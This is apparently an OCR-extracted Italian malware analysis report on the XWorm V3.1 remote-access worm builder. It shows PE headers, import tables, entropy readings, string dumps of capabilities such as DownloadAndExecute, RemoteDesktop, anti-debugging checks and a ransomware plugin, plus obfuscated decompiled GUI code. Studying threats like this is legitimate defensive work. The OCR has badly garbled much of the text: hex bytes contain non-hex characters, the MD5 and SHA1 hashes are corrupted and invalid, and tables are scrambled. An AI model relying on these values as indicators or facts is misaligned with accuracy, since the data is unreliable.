1BEC4 00 F2 75 02 F2 C2 F2 ES OF 0 00 00 23 €1 04 00
1BED4 8B Cl 83 €1 08 00 C7 41 04 0 FF 42 00 C7 01 FC
1BEE4 02 43 00 C3 55 8B EC 56 FF 75 08 SB Fl1 E& 44 38
1BEF4 FF FF C7 0¢ 08 0% 43 00 8B C& SE 5D C2 04 00 283
1BFO4 €1l 04 00 BB C1 82 €1 028 00 C7 41 04 10 0% 43 00
1BF14 €7 01 08 05 43 00 C3 55 8B EC 83 EC OC 2D 4D F4
1BFZ24 ES A7 FF FF FF €8 58 &C 43 00 8D 45 F4 50 EE CD

Exports Imports Resources BaseReloc. Debug LoadConfig Delayedimps 4
o
. Count Bound? OriginalFirstThun TimeDateStamp  Forwarder MameRVA FirstThunk
FALSE 37DCC 0 ] 3865E 2F000

£
KERMEL32.dll [ 134 entries ]
Call via Mame Ordinal Original Thunk  Thunk Forwarder Hint
2F1F8 FreeEnvironme.., 38942 38042 - 161
2F1FC GetProcessHeap - 3895C 3895C - 244
2F200 SetStdHandle - 3896E 3896E - 487
2F204 HeapSize - 3897E 3897E - 204
2F208 GetConsoleCP - 3898A 38584 - 194
2F20C GetConsoleMode - 3899A 38994 - 1AC
2F210 SetFilePointerEx - 389AC 389AC - 467
2F214 DecodePointer - 389C0 389C0 - CA
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A seqguire una rappresentazione delle dimensioni delle sezioni del file:

0 1 2 3 4 5 6 78 % A B CDEF 012345678 9AKABCDETF [l
o 4D 54 S0 00 02 00 00 00 04 OO0 OO0 0O FF FF 00
10 Bs 00 00 00 0O 00 00 00 40 OO0 OO0 00 OO0 OO0 00
20 00 00 OO0 OO OO 00 00 OO OO 0O OO0 OO OO OO 0O
3o 00 00 00 00 00 OO0 00 00 OO0 00 00 00 OB OL 00
40 OE 1F BA OE 00 B4 05 CD 21 B8 01 4C CD 21 54
50 €5 73 20 70 72 &F €7 72 €1 €D 20 €3 €l &E £E
&0 74 20 €2 €5 20 72 75 €E 20 €9 €E 20 44 4F 53
70 €D €F €4 €5 2E 0D 0D ORA 24 00 00 00 00 00 0O

Disasm General DOS Hdr Rich Hdr File Hdr Optional Hdr Section Hdrs W Exports W Impdtd

+ @
Mame Raw Addr. Rawsize Virtual Addr.  Virtual Size  Characteristics  Ptrto Reloc.  Mum. of Reloc.  Mum. of Linenu
et 400 2E000 1000 2DFEB 60000020 ] ] 0
rdata 2E400 9A00 2F000 9900 40000040 ]
.data 37ED0 C00 39000 1FEB& C0000040 ] ] 0
.gfids 38A00 200 59000 FO 40000040 ] ] 0
asrc 38C00 4800 54000 4680 40000040 ] ] 0
reloc 30400 2000 5F000 1F8C 42000040 ] ] 0
< >
Raw & X |Virtual 8 x
] w_ o
) [text]
1CABS
2F0DD
39000 [.rdata]
[.data]
%FODO I
:'F%v—‘%

L'entrypoint e posto all'indirizzo TCAB5:
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Offset Mame Value Yalue
20 Magic 108 NT32
122 Linker Ver. (Major) E
123 Linker Ver. (Minor) 0
124 Size of Code 2EQD0
128 Size of Initialized Data 2FEOD
12C Size of Uninitialized Data 0
130 Entry Point 1CABS
134 Base of Code 1000
138 Base of Data 2FO00
13C Image Base AD0000
140 Section Alignment 1000
144 File Alignment 200
148 05 Ver. (Major) 5 Windows XP
14A 05 Ver. (Minor) 1
14C Image Ver. (Major) 0
14E Image Ver. (Minor] 0
150 Subsystemn Ver. (Major) 5
152 Subsystem Ver. Minor) 1
154 Win32 Version Value 0
158 Size of Image 61000
15 Size of Headers A00
160 Checksum o
164 Subsystem 2 Windows GUI
L'indirizzo dell'import directory e stato 37DA4:
Offset Marme Value Yalue
15C Size of Headers 400
160 Checksum o
164 Subsystem 2 Windows GUI
v 166 DLL Characteristics 8140
40 DLL can move
100 Image is NX compatible
2000 TerminalServer aware
168 Size of Stack Reserve 100000
16C Size of Stack Commit 1000
170 Size of Heap Reserve 100000
174 Size of Heap Commit 1000
178 Loader Flags 0
17C Mumber of RVAs and Sizes 10
v Data Directory Address Size
180 Export Directory 37070 34
122 Import Directory 37DA4 28
150 Resource Directory 5A000 4680
152 Exception Directory 0 0
140 Security Directory 0 0
142 Base Relocation Table 5F0D0 1FBC
180 Debug Directory 35ECD 54
1BE  Architecture Specific Data 0 0

L'indirizzo dell'lmport Address Table e posto a 2F000:
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178 Loader Flags 0
17C Mumber of RVAs and Sizes 10
v Data Directory Address Size

120 Export Directory 37070 34
122 Import Directory 37044 28
150 Resource Directory 5A000 4620
152 Exception Directory 0 0
140 Secunty Directory 0 0
142 Base Relocation Table 5F000 1F8C
180 Debug Directory 35ECO 54
1BZ  Architecture Specific Data 0 0
120 RVA of GlobalPtr 0 0
1% TLS Directory 0 0
100 Lead Configuration Directory 30890 a0
102 Bound Import Directory in headers 0 0
1ED Import Address Table ZF000 21C
1E2  Delay Load Import Descriptors 37334 120
1F0 MET header 0 0

All'interno del codice esadecimale dell'archivio autoestraente vi sono riferimenti
all'inserimento per la password dei files criptati:

XWorm V3.1 sfx exe

(-3 Bitmaps _ .
B0 Teons B = | @ p =
=) Dialogs
] “askuexTvoL- ||| Oftset 0 1 2 3 4 5 & 7 8 9 A4 B C D EF Ascii
] “cetPassworp (00000000 | CO 08 CB 90 00 00 00 00 05 00 26 00 2E 00 B7 00 |AE ....0 & .. .
5 vcensenie -1 00000010 | 43 00 00 00 00 00 45 00 6E 00 74 00 65 00 72 00 |C..... En.t.e.r.
. S|oooooozo | 20 00 70 00 61 0O 73 00 73 00 77 00 6F 00 72 00 | ..p.a.s.s.w.o.r.
=] RenaveDLE™- (00000030 | 64 00 00 00 08 00 4D 00 53 00 20 00 53 00 &3 00 . .0.M.5...S.h
"REPLACEFILEDL( (00000040 | 65 00 6C 00 6C 00 20 00 44 00 6C 00 67 00 20 00 |e.l.1.. D.l.g...
.5 "STARTOLG" - [ar | 00000050 | 32 00 00 00 00 00 02 50 00 00 00 00 06 00 08 00 |2... .. F...0.0.
£ String Tables 00000060 | 44 00 08 00 FF FF FF FF 82 00 26 00 45 00 6E 00 | 2.0 . %%%¥1.4&.E.n.
00000070 | 74 00 65 00 72 00 20 00 70 00 61 00 73 00 73 00 |t.e.r.. . p.a.s.=.
3 Teon Groups 00000080 | 77 00 6F 00 72 00 64 00 20 00 66 00 6F 00 72 00 |w.o.r.d. ..f.o.r.
({0 Configuration Files || 00000090 | 20 00 74 00 68 00 65 00 20 D0 65 00 6E 00 63 00 | ..t .h.e. ..=.n.c.
000000&0 [ 72 00 79 00 70 00 74 00 €5 00 64 00 20 00 66 00 |r.y.p.t.e.d...f.
000000B0 | 69 00 6C 00 65 00 34 00 00 00 00 00 40 00 81 50 [i.l.e.:..... . P
000000CO | 00 00 00 00 06 00 14 00 AA 00 OC 00 65 00 FF FF | ... .0.0 2. J.e.%¥
00000000 | 81 00 00 00 00 00 00 00 01 00 01 50 00 00 00 OO | ...... o.op....
000000ED | 24 00 20 00 32 00 OE 00 01 00 FF FF 80 00 4F 00 | $.0.2.0 .0 .%%1.0.
000000FD | 4B 00 00 00 00 00 00 00 00 00 01 50 00 00 00 00 |K...... LOP. ..
00000100 [ 60 00 30 00 32 00 OE 00D 02 00 FF FF 80 00 43 00 | °.0.2.0. .¥l1.C.
nan0atin | 61 00 6E 00 A3 00 65 00 GC 00 00 00 00 00 00 00 |ance 1l
00000120 | 00 80 02 50 00 00 00 00 06 00 10 00 A& 00 08 00 | .1 P...0.0.23.0.
00000130 | 66 00 FF FF 82 00 00 00 00 00 [0
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Di seqguito i dettagli delle sizes e Relative Virtual Addresses (RVA) delle sezioni e directories
dell'archivio analizzato:

XWorm V3.1.5fx.exe

Member Offset Size Value Section
Export Directory RVA 00000120 Dward 00037070 rdata
Export Directory Size 00000184 Dword 00000034

Import Directory RVA 00000188 Dword 00037DA4 rdata
Import Directory Size 0000018C Dword 00000028

Resource Directory RVA 00000190 Dwaord 0005A000 JTSrE
Resource Directory Size 00000194 Dwaord 00004620

Exception Directory RVA 00000198 Dword 00000000

Exception Directory Size 0000019C Dword 00000000

Security Directory RVA 000001AD Dwaord 00000000

Security Directory Size 00000144 Dward 00000000

Relocation Directory RVA 000001A8 Dword 0005F000 reloc
Relocation Directory Size D00D01AC Dword 00001FBC

Debug Directory RVA 000001BO Dword 00035ECO rdata
Debug Directory Size 00000184 Dward 00000054

Architecture Directory RVA 00000188 Dword 00000000

Architecture Directory Size 000001BC Dword 00000000

Reserved 000001CO Dword 00000000

Reserved 000001C4 Dwaord 00000000

TLS Directory RVA 000001C8 Dword 00000000

TL5 Directory Size 000001CC Dword 00000000

Configuration Directory RVA 000001D0 Dword 00030890 rdata
Cenfiguration Directory Size 000001D4 Dwaord 00000040

Bound Import Directory RVA 00000108 Dward 00000000

Bound Import Directory Size 000001DC Dword 00000000

Import Address Table Directory ... | D0D001EQ Dword 0002FD00 rdata
Import Address Table Directory ... | DO000TED Dword OO02F000 .rdata
Import Address Table Directory ... | DD0001E4 Dword 0000021
Delay Import Directory RVA 000001ES Dword 00037334 rdata
Delay Import Directory Size OD000EC Dword 0OODD120
MET MetaData Directory RVA 00DD01FD Dword 0O0DOO0D
MET MetaData Directory Size 000001F4 Dword 00000000

Qui uno screenshot dei files estraibili dall’archivio SFX:
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MName - Date modified Type Size

ClientsFolder 2/8/2023 9:10 PM File folder

lcons 3/5/2023 9:33 PM File folder

Plugins 3/5/2023 %33 PM File folder

Uncompressed 2/8/2023 8:30 AM File folder
s] Background.png 2/14/202312:35 PM - PNG File 18 KB
[ crack.exe /2072023 9:27 PM Application 18 KB
|J FastColored TextBox.dll 211472023 12:35PM  Application extens... 334 KB
Fixer.bat 2/14/202312:35PM  Windows Batch File 1KB
|J GeolP.dat 2/14/202312:35PM  DAT File 1,214 KB
|:] GMap.NET.Core.dll 2/14/202312:35 PM  Application extens... 2,927 KB
|J GMap.NET.WindowsForms.dll 2/14/202312:35 PM  Application extens... 147 KB
|j lconExtractor.dll 2/14/202312:35 PM  Application extens... 10 KB
@ Intro.wav 211472023 12:35 PM - WAV File 1,724 KB
',._J learn all kind of hacking 1/28/2022 10:49 PM  Internet Shortcut TKB
|J MAudio.dll 2/14/202312:35PM  Application extens... 503 KB
|J Readme.txt 2/14/202312:35 PM  Text Document 1KB
|J SimpleQbfuscator.dil 2/14/202312:35 PM  Application extens... 1417 KB
(5] XWorm V3.1 .exe 2/14/202312:35PM  Application 7,108 KB
|J AWorm V3.1.exe.config 2114720231235 PM  CONFIG File 1KB

Prendendo in considerazione in particolare il file X\Worm V3.1.exe possiamo notare come esso
sia stato scritto in VB. NET ma offuscato con .NET Reactor.

D& Detect It Easy v3.04 [Windows 10 Version 1809](x86_64) — O *
File name
: JUsers [IEUser [Desktop/Worm e RAT/XWorm V3. 1.exe

File type Entry point

| Eport |

Time date stamp

Scan Endianness Mode

Automatic LE 32-hit

* PE32
Protector: Eziriz .NET Reactor(6.x By Dr.FarFar]
Library: .NET(v4.0.30319)[-]
Compiler: VB.NET(-)[-]
Linker: Microsoft Linker(8.0)[GUI32]

All'interno della sezione .text (codificata in esadecimale) possiamo notare diverse funzioni
offuscate non intelligibili:
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Type Memory map
PE32 Offset Address Size

- 00000000 00400000  ODOOO200 PE Header
File offset

hiniaid 00400200 0000100 PE Header
FFFFFAE 00af2al0 00001600  Section(O)['.text’]

006f0cOD  00afAD0D 00000200  Section(1)['.reloc’]
(

Relative virtual address 006aee30

Mode Endianness Architecture

32t e 1386 fuiiing 00af4200 0000100 Section

1[".reloc']

Hex

Address E Symbols

006a:cf6e0 57547F123.KE8710
006a:cf70 E1DFC184KK3E0066
006a:cf80 BOFOGEBCF123.KB3
006a:cfs0 SAAFF467600CA4TT
00&a:cfal C50200CEDS950223 .
006&a:cfbl get_ FDOFS5E12569E
006a:crfco B1TA3CE39D9BB6ED
006a:cfd0 531223.I85A37E6B
006a:cfed IDE67S9E18611I5F2D
006a:crffo COBI91223.A103E6
006a:d000 360523ACB04664F4
006a:d010 3A89BAGSC1223.F51
006a:d0z0 BDTFCA5IBICCAFCE

Type Memory map

PE32 Offset Address Size
& 00000000 00400000 00000200 PE Header

File offset 006achaf

P i 00400200  00001e00  PE Header
() Relative virtual address 006ae9af Liiiiiiid 00af2a00 00001600 Section(0)[' text']
DOGFOCO0  O0afd40D0  0ODD020D  Section(1)[".reloc’]
FFFFFFF 00af4200  00D010D  Section(1)['reloc’]

Mode Endianness Architecture
32-hit LE 1386

Hex

Address E Symbols

006a:cael Int32.ReadInt32.
006a:cafl ToInt32.GetProchA
00&a:cbi0 2._Lambda$__R2.b
006a:cbl0 yte 2.ldarg_2.bo
006a:cb20 ol 2.intptr_2.ui
006a:cb30 nt_2.VB§Anonymou
006a:cb40 sDelegate_U‘2.ID
006a:cb50 ictionary 2.thre
006a:cbe&l ad2 .Delegate2.Fo
006a:cbT0 rm2 .Enum2.5truct
006a:cbi80 2. FA4521C18CO0OFD42
006a:cb90 9469121E02CAC45B
006a:cbal 0023.(‘.83(‘.[}4(‘.2505
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Memory map
Offset Address Size
00000000 00400000 00000200 PE Header

Liiiiiiii 00400200 0000100 PE Header
Secion(O o
Liiiiiiii 00af2a00 00001600 i
Made Endianness Architecture 006000 00af4000 00000200
it LE i 00af4200 0000100

0064fd80

H

Address

P L

;H: 9J0<JTSN

LM< :"

[V /1 _) _NLY-XX*/
[-\) X/, - NX_[".
.C..Nvpruwz. .gq

vav.snu..{g{{=...
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Offset Address Size
00000000 00400000  DODOOZOO PE Header
FRFFFFFF 00400200  00001e00 PE Header
Virtual address 00a4fabo Section(0)[' text']
FRFFFFFF

rtual addre: 0064f4b0

0064d6b0

00af2a00  0DDD1600  Section(0)['.text]
006F0cOD  0Daf4000  0DDO0200  Section(1)['.reloc’]
FFFFFFFE 00af4200  0DDD1eDD  Section(1)['reloc’]

Mode Endianness Architecture
32-bit LE I

H

Address

S/REP.SP"W' "R/ ..
'STISIT. ..

File name: C:/Users/IEUser/Desktop/Worm e RAT/XWorm V3.l.exe

Size: T278030(&.94 MB)

MD5: 37a9fdcieee05dZ3dZdadtaceclizZbib

SHALl: Z0bc3df33bbbb676d2a3ciT72cff4cld58cT79055d

Entropy: 7.86357 (packed)

Cperation system: Windows (95)

Architecture: I3E6

Mode: 32-bit

Type: GUI

Endianess: LE

Entry point (Address): 00af29se

Entry point (Cffset): 006f0kLEe

Entry point (Relative address): 006f293e

Entry point (Bytes): ££2500204000000000000000000000000000000000000000
Entry point (Signature): ££25........ 000000000000000000000000000000000000
Entry point(Signature) (Rel): f£25........ fE25........ £f25........ fE25... ..., fE25........ f££25.....
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I worm eseqgue le funzioni di debuggers checking IsDebuggerPresent e
CheckRemoteDebuggerPresent a scopo di anti-analysis:

Offset - Size String
003eeadf [
005f97c5
005fdc27

m¥%OhK
0080c135 POlpW?B
0060f018 n(}ds
00618a7c wn@10U
00619884 ZIT7
0061eb26 u, §HAR
006219b4 |sDebuggerPresentd
006219c9 00DD001b CheckRemoteDebuggerPresent]
006219e7 0000001d WinForms_RecursiveFormCreatel
00621a07 0000001 b WinForms_SeelnnerException®
00621225 A Property can only be set to Mothing#
00621adc Property can only be set to Mothing#
00621a73 Property can only be set to Nothing#
00621292 0 Property can only be set to Nothing®
00621ac! Property can only be set to Nothing®
00621aed Property can only be set to Mothing#
00621b0f Property can only be set to Mothing®#

E' possibile notare una stringa di logging relativa ad una connessione localhost Accepted
127.0.0.1:# al fine di specificare la porta.
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Offset o
006222ac
00622305
006223a2
00622420
00622443
00622505
00622666
0062268d
0062273f
006227ab
006227b0
00622836
006229a4
00622afe
00622c0d
00622df1
0062248
00623022
00623068
006231ch
00623cbb
00623d06

<
=
1]

WirLO
ux}gz9pw{z0dzs9%8
KszruDwrupDrduDhwzuo~ O
ongggggl
LCmgA
Wiclth < "21i"2!0
cdleeel
~ydov{{vc~xyndnzux
chzkbaih O
Zcgkmol
htyaGg{wwG)+,-(,80710
dyxhc{bl
EGE
nkLInC@GNOO
kOCEGqVPGCOO
NMAIaMEKGLYO
NMAI
127.0.0.15
Accepted 127.0.0,1:%
aMNKRRGP
kOCEGO
kOCEGO

P I - T - T s - s - T - i ©

A seguire un riferimento all'attributo di port connection di XWorm:

Offset -
006ee3db
006ee3ad
0D6ee3bT
006ee3cs
006ee3d3
006ee3ddf 00000019
006ee3fd 00000016
006eed2] 00000003
0DGeedZb 0000001k
006eeddc 0000000
006eed5d 00000015
006eedTe 00000015
006eedd8 00000015
006eedb3 00000006
006eedbf 00000006
DD6eedch 00000006
006eeddT 00000007
006eede3 00000026
006ee50e 00000019
006ee53e 00000012
0D6ee55d 0000001k
006ee57d 0000001k

String

<
=
m

Button12

Button13

Button10

Button11

Button9
ORefrechToolStriphMenultem
O5aveToolStripMenultern
TFind
OSelectAllToolStripMenultem
GMapControll
OGPSToolStripMenultemn
OCircularProgressBarl
OCircularProgressBar2

Panel2

Panel3

Paneld

Label12

%X Worm.Port+VBS§5StateMachine_45_connect
ORestartToolStripMenultem
ORefreshToolStripMenultern
OCreateKeyToolStripMenulterm
ODeletekey ToolStripMenultemn

P PF P F P PFPFFPFPEFRFPFPEPRFDRFPEPRERF PR P

All'interno degli elementi della GUI del Worm possiamo notare tooltips che sono associati a
KillProcess, DownloadAndExecute, RemoteDesktop, oggetti Timer, files from URL downloading,
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archiviazione di files, creazione di files, cifratura di files, caricamento di files verso un server e

contestuale creazione dell'oggetto di decryption.

Offset o= L String
006ecded CheckBox7
006ecdfd CheckBoxB
006eced7 CheckBox13
006ecel7 CheckBox12
006ece27 CheckBox11
006ece3V CheckBox10
006ecedV CheckBox9
006ece5t CheckBox14
0DBecebb 00000013 REToolStripMenultem
ODBecele 00000014
ODGeceal 0000000C
006eceb3 0000000a
DDBecec? 00000024
006eceeb 000000 1F
006ecfOf 00000018
00Becfc 00000017
006ecf48 00000018
006ecfbb 00000003
006ecf 76 0000000C
006ecf87 00000072
006ecfab 0000007 ¢
006ecfcT 00000019

OKillProcessToolStripMenultem
RichTextBox1

ClientMenu
#DownloadAndExecuteToolStripMenultem
ORemoteDesktopToolStripMenultem
OCLIENT ToolStripMenultem
OCLOSEToolStripMenultem
OUPDATEToolStripMenultem
Tirmer_Ping

Timer_Status
OFormDiskToolStripMenultern
OFromMemoryToolStripMenultem

> > > P P PFPPFPPPPPPEPPEPPPFPE P>

OFromUrlToolStripMenultem

Offset - Size
006ec8c2 00000016
006ec8dd 00000012
DDBeclfc 00000021
006ec922 00000021
006ecd4d 00000012
006ec960 00000019
006ecdTe 00000015
006ec998 00000017
006ectbd 0000001
006ec9d5 00000016
006ecof0 00000015
006ecala 00000016
006eca25 00000019
0D6ecad3 00000019
006ecabl 0000001 b
006ecaldl 0000001e
DDBecaad 00DDD020
0DBecacd 00000018
00becaet 000000718
006ech03 00000016
DDBecble 00000016
00Bech30 00000016

OEditToolStripMenultemn
OShowHideToolStripMenultern
ShowFolderFileToolStripMenultem
HideFolderFileToolStripMenultem
ZToolStripMenultern
OinstallTeolStripMenultem
OZipTeolStripMenultem
OUnZipToelStripMenultem
OCreateFileToolStripMenultemn
OCopyToolStripMenultem
OCutToolStripMenultern
OPastToelStripMenultem
OEncryptToolStripMenultern
ODecryptToolStripMenultem
OPlaySoundToolStripMenultemn
OSendFromLinkToolStripMenultemn
OUploadToServerToolStripMenultem
OMermalToolStripMenultern
OHiddenTeolStripMenultern
OPlayToelStripMenultem
OStopToolStripMenultern
OGoTeToolStripMenultem

P PF P PFPFPFPFPEPREPEPREPREPREPRERFRERFRER R R
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Offset - Size String
006e961f
0069626 Iconinjector

Monitor

=

CreateDecryptor
CreateEncryptor
StructureToPtr
IntPtr
get_Graphics
00629682
11900 0069695
11901 006=069f
0069660

Systern.Diagnostics

GetFields

FromSeconds
11904 006e96c8 NativeMethods
11905 006e96d6
006e96f4
0069702
006e972c 0000001 e
11909 00697 00000026

11910

Micre VisualBasic.Devices
MyWebServices

Mi NVisualBasic.ApplicationServices
System.Runtime.InteropServices
Microsoft.VisualBasic.Compilerservices

System.Runtime.CompilerServices

> PP PP P P>P PP

11911

Microsoft.VisualBasic.MyServices

Vi e evidenza dell'oggetto obfuscator utilizzato in fase di malicious execution, TcpListener, un
oggetto di concorrenzialita (TaskAwaiter), un oggetto riferibile all'utenza corrente
(get_CurrentUser), events handlers di mouse events.
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Offset - i String
006eddcs set_LinkColor
000eddd3 set_VisitedLinkColor
006e94e8 set_ActivelinkColor
006e9dfc set_SelectedfreaFillColor
006ed516 set_SelectionColor
006e9529
006e953e
006e9558 00000005
006e955e 0000000d
006e956c 00000011
006e957e 0000D000F
006e958e 00DD000a
DDBe9599 00oDDOT0
006e95aa 00000012
006e95bd 0000000k
006e95c 0000001 a
006e95e4 0000000d
006e95f2 0000000
006e9601 00000009
0069600 00000005
0069611 0000000d
006e961f 0000000G

set_TransparentColor
set_ImageTransparentColor
Floor

CompilerError
ClearProjectError
SetProjectError

set_Cursor
SimpleObfuscator
ToolStripSeparator
|IEnumerator
ManagementObjectEnumerator
GetEnumerator
GetlLGenerator

Activator

«ctor

lconExtractor

> P PP PP PFPEPPFPFDPFPE PR PR PR R PR PR

.«cctor

Offset -
006e925b 0000000f
006e926b 00000017
00629283 00000011
00629295 00000005
006e929b 0000000k
006e92a7 0000000k
006e92b3 0000000
006e92be 00000006
006e92c5 00000007
006e92cd 00000007
006e92d5 00000009
0D6e92df 0000000
006e92ee 0000000
D0Eed2fb 0000000F
006e930b 0DD0000b
00629317 00000003
0069322 0000000
006e9331 0000000c
006e933e 0000000
006e9349 00000003
00629354 0000000
00629363 00000011

-
-
=
m

KeyEventHandler
Systemn.CodeDom.Compiler
ImagelListStreamer
Tirmer
TepListener
teplistener
|Container
Helper

ToUpper

Clipper
IComparer
ButtonRenderer
TextRenderer
get_CurrentUser
TaskAwaiter
GetAwaiter
ResourceWriter
StreamWriter
TextWriter
set_Filter
add_MouseEnter

P PF P PFPFPFPFPEPREPEPREPREPREPREPREPRRFRE R R R

remove_MouseEnter
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Tra le stringhe estraibili vi sono due evidenze importanti: RemoteDesktop (per la fase di remote
management e remote executions) ed il metodo set_UseSystemPasswordChar (per la gestione
di credenziali di sistema), creazione di oggetti downloaders e la gestione di encryption tasks
con un oggetto RC2CryptoServiceProvider:
Size
11762 00 f 00000014

11763
11764

set_ContextMenuStrip
CountryMump
set_Top

11765 FileDrop
11766
11767 D06ed 00000D0f
11768 0 2 0000000d
11769 DD6eBe5] 0000000k
11770 3 0000000d
11771 006e8e7 0000000k
11772

11773

11774 006edeab
11775 006eBebd
11776

11777 006eledt
11778 006eBefd
11779 006edef?
11780

11781

add_DragDrop
remove_DragDrop
set_AllowDrop
set_TabStop
RemoteDesktop
Systern.Ling
ToolStripProgressBar
CircularProgressBar
set_ShowlnTaskbar

set_HorizontalScrollbar

PR S R - T i

Clear

b

set_Us emPasswordChar
har
yChar
FormatNumber
ColumnHeader
BinaryReader
117¢ 00Gedf 00000002

0 Downloader
11784 06 00000018

P P P PP

RC2CrvotoServiceProvider
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Offset M
006e8db3 00000008
006e8dbc 00000006
006e8dcB 00000005
006e8dce 0000000
006e8ddd 00000009
00Be8de? 0000000k
006eBdf3 00000014
006eBe08 0000000k
006eBel4 00000007
DDBeBelc 00000008
0D6eBed5 0000000c
006eBe32 0000000f
006eBed2 0000000d
006eBe30 0000000k
ODBedesc 0000000d
006eBe71 0000000b
0DBeBeld 00000014
0D6eBed2 00000013
D06eBeab 00000011
006e8eb8 00000017
00Be8ed) 00000005
00Beledt 00000019

String

=
=
m

ToBitmap

Unwrap

Sleep

set_SizingGrip
ToolStrip

StatusStrip
set_ContextMenuStrip
CountryMump
set_Top

FileDrop
add_DragDrop
remove_DragDrop
set_AllowDrop
set_TabStop
RemoteDesktop
System.Ling
ToolStripProgressBar
CircularProgressBar
set_ShowlnTaskbar
set_HorizontalScrollbar

Clear

PR P RFPEPREFPREDRFPREPRERFPE R PR RERE R

set_UseSysternPasswordChar

Tra i moduli utilizzati e richiamati vi € Ransomware, un plugin di cifratura di files incluso nel
XWorm threat:

Offset — Size
006e768a 00000006
006e7691 0000000d
006e769f 00000011
0DBeVEb1 0000000c
0DBelbbe 00000016
0DBe7ed5 0000000e
006eT6ed 00000011
006e76fb 00000007
006e76fe 0000000
006e7709 00000009
006e7713 00000007
00Be771b 00000015
006e7731 00000019
0DGeT74b 00000011
D0EeT75d 0000000
006e7768 0000000d
006e7776 0000000k
006e7782 00000016
006e7799 0000000e
006e77a8 0000000f
006e/7bd 0000000
006e77c3 0000000c

-
-
=2
o

OfType

MakeByRefType
get_DeclaringType
ProtocolType
set_MouseWheelZoomType
get_ReturnType
get_ParameterType
GetType

SocketType

FileShare

Compare
ProcessSystemDPlAware
ProcessPerMonitorDPlAware
ProcessDPIUnaware
Ransomware
GMap.MET.Core
Systermn.Core
set_UseMachineKeyStore
PtrToStructure
resourceCulture
MethodBase
get_CodeBase

> P PP PF PP PFPPEPFPPEPPREPPERFDREDREDRE R PR DR
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Il coefficiente d'entropia della sezione .text e 7.86399, pertanto e in stato di packed. Questo a

causa dell'offuscazione utilizzata per quanto concerne I'’XWorm.

D& Entropy

PE32
Total
7.86357

00000000
00000200
006f0c00

Offset
00000000

packed(98%)

Size Entropy Status
00000200 2.41505 not packed
006f0a00 7.86399 packed

00000200 0.10473 not packed

2e+06 3e+06

1e+06

Count

00 =

PE Header
Section(0)[' text']

Section(1)["reloc']

4e+06 Se+06 Ge+06 7e+06

A sequire le labels e gli altri elementi della GUI in forma offuscata e non intelligibile:

www.swascan.com | info@swascan.com



Swasean

TINEXTA GROUP

private IContainer CA2463223783CBBC9CCCIIBDEA2ZAEBCD2S5;

[AccessedThroughProperty("PictureBoxl™)]
[CompilerGenerated]
private PictureBox T95BBEF59529T3FBETE42896FABAA93223;

[AccessedThroughProperty(“Label2")]
[CompilerGenerated]
private Label EFAFID23BAE4CFICSIEZATI7IC6ETEIAZSR;

[AccessedThroughProperty("Label3")]
[CompilerGenerated]
private Label DBFC4BFD1738841CE8455AE89FB5FE8622;

[AccessedThroughProperty(“Labels™)]
[CompilerGenerated]
private Label BSCAE3C@84ADFF5D5882F@B74FS5FDEEZ2;

[CompilerGenerated]
[AccessedThroughProperty("LinkLabel2"™)]
private LinkLabel MB3AFBD3626I1DASAS8A9212F49891AE133;

[CompilerGenerated]
[AccessedThroughProperty(“Labell™)]
private Label CCP345F6843F3C3F21638361386313DE38;

[CompilerGenerated]
[AccessedThroughProperty("Label?")]
private Label TA3EIFIIBFC6649BF422EBBA4FIOSE4A17;

[AccessedThroughProperty ("LinkLabel4™)]
[CompilerGenerated]
private LinkLabel IACITIDS83CEC9AI@D3DI6I9ECIC23CODIS;

[CompilerGenerated]
[AccessedThroughProperty("PictureBox2")]
private PictureBox RE41B9DAECE337ROBDF517E2D48E292415;

internal virtual PictureBox J4BDJA9E2]J281FAB8857BI822B11BB921
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/4 ¥XuWorm.Chat
#define DEBUG
+using ...

[DesignerGenerated]
public class Chat : Form

=
private IContainer U7D27BD274928535C3531A217FUSB47535;

[AccessedThroughProperty ("TextBoxl") ]
[CompilerGenerated]

private TextBox C4B9DCE32196B78B0496BEFCA42A2EZI1E;
[AccessedThroughProperty ("TextBox2"}]
[CompilerGenerated]

private TextBox UID8B926BBBBC57807609AAUCS3C963938;
[AccessedThroughProperty ("Timerl™)]
[CompilerGenerated]

private Timer A9BFI526C1E833F1366FCBIBEBABRE3BIG;
public Client FFCD968A3233ASFFF2R6FFFB3BEGCFFFAT;
public bool E9F488334218BAF60DEG3B6CA7FSEI7F438;
public string E35FBFE2BF255805BA848AF3A915431619;

internal virtual TextBox ASC37B7AAR4BD3D7FD6AB3667F3EGIDTIE

T
internal virtual TextBox K@@DABD3KF835989352DK35FFRBKIZFTLT
+
internal virtual Timer CFFB6BAFEGE34121070021812E5FB80930
T
public Chat()
+ ‘e

internal virtual TextBox ASC37B7AA®G48D3D7FD6AB3667F3E6ID730

internal virtual TextBox K@@DASD3KF855989852DK35FF@BKI2F717

internal virtual Timer CFF@GBAFEGE34121670021812E5F@509380
- 1
[CompilerGenerated]
get
- 1
¥

[CompilerGenerated]
set

- {

return ASBFI526CIEE33F1366FCB1BEBABBESE36;

EventHandler value2 = XDCCBO3718B5XS54EABSDOOCKABFO7ELIN32;
Timer a9BF1526C1ES33F1366FC818EBABBE3E = ASBF1526C1ES33F1366FCA1REBARBE3B36;
if (a9BF1526C1EB33F1366FCE18EBABBESE != null)

a9BF1526C1E833F1366FC818EBABBE3E. Tick -= value2;
A9BF1526C1E833F1366FCA1BEBASSESB36 = value;
a9BF1526C1EB33F1366FC818EBABBESE = ASBFIS26CIER33F1366F CE1IBEBABBESE3E;
if (a9BF1526C1EB33F1366FCE18EBABBESE != null)

a9BF1526C1E833F1366FC818EBABBE3E. Tick += value2;

}
public Chat()
base.load += D9ED6D1CE8SDEEFFFCACD1A4165DCF2117;

base.FormClosing += EGDE41BO366AASFF45D5DO34E41BD6A43T;
SFEBF8BSBFOSADS@OS30BEGI7B2571AB26();

}

protected override void Dispose(bool HB836C91E674BB@AESE77HHBEHLE99FA2E)

www.swascan.com | info@swascan.com




Swasean

TINEXTA GROUP

CheckPort

finally
{

}

base.Dispose(GAB7D3FB83FO6CBE3DE7FBI0EGEDBCEBELG);

}

private void XSF[MFZEC32BSSCXOFDA382C4F3EDE9237()l

= {
ComponentResourceManager componentResourceManager = new ComponentResourceManager (typeof)
KKK3EAK24EC414FB2F39F1A449D99EBF25 = new Button();
TDED284617654444D44A95E2TF5123EF37 = new Label();
T21EEC98600A088507FCE2EDBAGA2T2E1S = new TextBox();
D952B8D6C1DECF7D292EDEBAFTD2FCE235 = new TextBox();
SuspendLayout();
KKK3EAK24ECA14FB2F39F 1A449D99EBF25. Cursor = Cursors.Hand;
